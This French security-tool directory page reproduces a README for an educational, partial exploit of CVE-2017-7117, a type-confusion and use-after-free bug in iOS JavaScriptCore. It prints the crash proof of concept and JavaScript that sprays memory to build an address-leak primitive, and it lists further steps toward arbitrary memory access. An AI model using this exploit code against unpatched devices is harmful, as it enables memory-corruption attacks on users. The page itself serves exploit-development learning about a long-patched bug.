Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
cve-2017-7117 — Exploit éducatif pour CVE-2017-7117, une vulnérabilité de type-confusion et use-after-free dans iOS 10.3.4 JavaScriptCore, démontrant des techniques de memory spraying et d'address leak. | Kitploit
Outils/GitHubGitHub/rebelle3/cve-2017-7117
Sécurité iOSCriminalistique MémoireAnalyse des VulnérabilitésExploitationShellcodeSécurité MobileApprentissage et ÉducationExploitation de Binaires
GitHubrebelle3/cve-2017-7117

cve-2017-7117

Exploit éducatif pour CVE-2017-7117, une vulnérabilité de type-confusion et use-after-free dans iOS 10.3.4 JavaScriptCore, démontrant des techniques de memory spraying et d'address leak.

Voir le dépôt
3il y a 1 anPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

cve-2017-7117

À propos du bug

Une confusion de type et une UAF trouvées dans iOS 10.3.4 et versions antérieures, Safari avant 11.0.

CVE-2017-7117: mitre.org

Preuve de concept originale

Découvert par @lokihardt, source: Google Project Zero

root@kitploit:~
function f() {
  let o = {};
  for (let i in {xx: 0}) { // i is a String
    for (i of [0]) { // i is now a number, but JIT treats as String
    }
    print(o[i]); // whoops
  }  
}

f();

L'exécution du code ci-dessus provoquera un plantage de JSC.

L'exploit

Nous créons un grand tableau arr, que le compilateur JIT va confondre en croyant qu'il s'agit d'une chaîne.

root@kitploit:~
var arr = new Uint32Array(1 * 1024 * 1024 / 4); // 1mb | 1 item == 4 bytes
arr[4] = 0xb0; // to pass checks for the member m_hashAndFlags 

Lorsque la référence à i est perdue, nous conservons l'accès au tableau original arr et pouvons lire la mémoire sous-jacente.

En aspergeant une valeur connue, nous pouvons la trouver et remonter pour localiser le pointeur de n'importe quel objet.

root@kitploit:~
function addrof(obj) {

    // search the freed array for this number
    var locator = 0x1337;

    // spray the freed memory with the locator
    var sprays = [];
    for (var i = 0; i < 0x1000; ++i) {
        sprays.push(i % 2 == 0 ? locator : obj);
    }

    // find the first instance of the locator
    var found = null;
    for(var i = 0; i < arr.length; i++) {
        if(arr[i] == locator) {
            found = i
            break
        }
    }

    // the pointer for the object is 3 and 2 indicies after the locator
    return found && [arr[found + 3], arr[found + 2]]

}

Les valeurs sont accédées en mémoire via un Uint32Array, bits de poids faible en premier, bits de poids fort en second.

root@kitploit:~
let target = {
    foo: "bar"
}

let address = addrof(target)
// address: 0x0000ffff8d178e60

Vous pouvez vérifier que l'adresse est valide en utilisant describe()

root@kitploit:~
print(describe(target))
// Object: 0xffff8d178e60 with butterfly (nil) (0xffff9099bba0:[Object, {foo:0}, NonArray, Proto:0xffff909b00a0, Leaf]), ID: 244

Répliquer la configuration

Testé actuellement sur:

  • Ubuntu 20.04.5 LTS ARM64
  • JavaScriptCore vulnérable (JSC) de libwebkitgtk version 2.16.0
    • Archive de construction: launchpad.net
  • LLDB pour l'inspection mémoire (optionnel)

Ne fonctionne pas (encore) sur iPhone 5, iOS 10.3.4. Découvrons pourquoi ...

Prochaines étapes ?

  • Fabriquer un faux objet
  • Lire / écrire la mémoire arbitraire
  • Jailbreak iOS 10?

Important

Ce dépôt est fourni comme ressource éducative pour suivre mon apprentissage du développement d'exploits. Cette CVE a été corrigée depuis plus de 7 ans. N'utilisez PAS ceci à des fins malveillantes, évidemment.

Télécharger l’outil